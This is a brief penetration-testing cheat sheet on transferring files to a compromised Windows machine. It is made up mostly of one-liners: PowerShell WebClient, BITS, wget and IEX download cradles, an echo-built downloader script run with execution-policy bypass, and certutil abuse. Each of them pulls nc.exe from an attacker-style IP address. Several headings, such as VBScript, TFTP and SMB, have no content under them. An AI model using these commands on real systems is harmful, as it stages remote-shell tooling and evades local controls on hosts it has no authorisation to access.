Transferring Files
How to transfer files
HTTP
python -m SimpleHTTPServer <port number>Powershell
powershell.exe -c (new-object System.Net.WebClient).DownloadFile('http://10.10.10.20/nc.exe','c:\temp\nc.exe')powershell.exe -c (Start-BitsTransfer -Source "http://10.10.10.20/nc.exe -Destination C:\temp\nc.exe")powershell wget "http://10.10.14.17/nc.exe" -outfile "c:\temp\nc.exe"powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.10.20/nc.exe')" echo $storageDir = $pwd > wget1.ps1
echo $webclient = New-Object System.Net.WebClient >> wget1.ps1
echo $url = "http://10.10.10.20/nc.exe" >> wget1.ps1
echo $file = "new-nc.exe" >> wget1.ps1
echo $webclient.DownloadFile($url,$file) >> wget1.ps1
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget1.ps1Certutil
certutil.exe -urlcache -split -f "http://10.10.10.20/nc.exe" c:\temp\nc.exeVBScript
TFTP
FTP
SMB
Windows to Linux
Last updated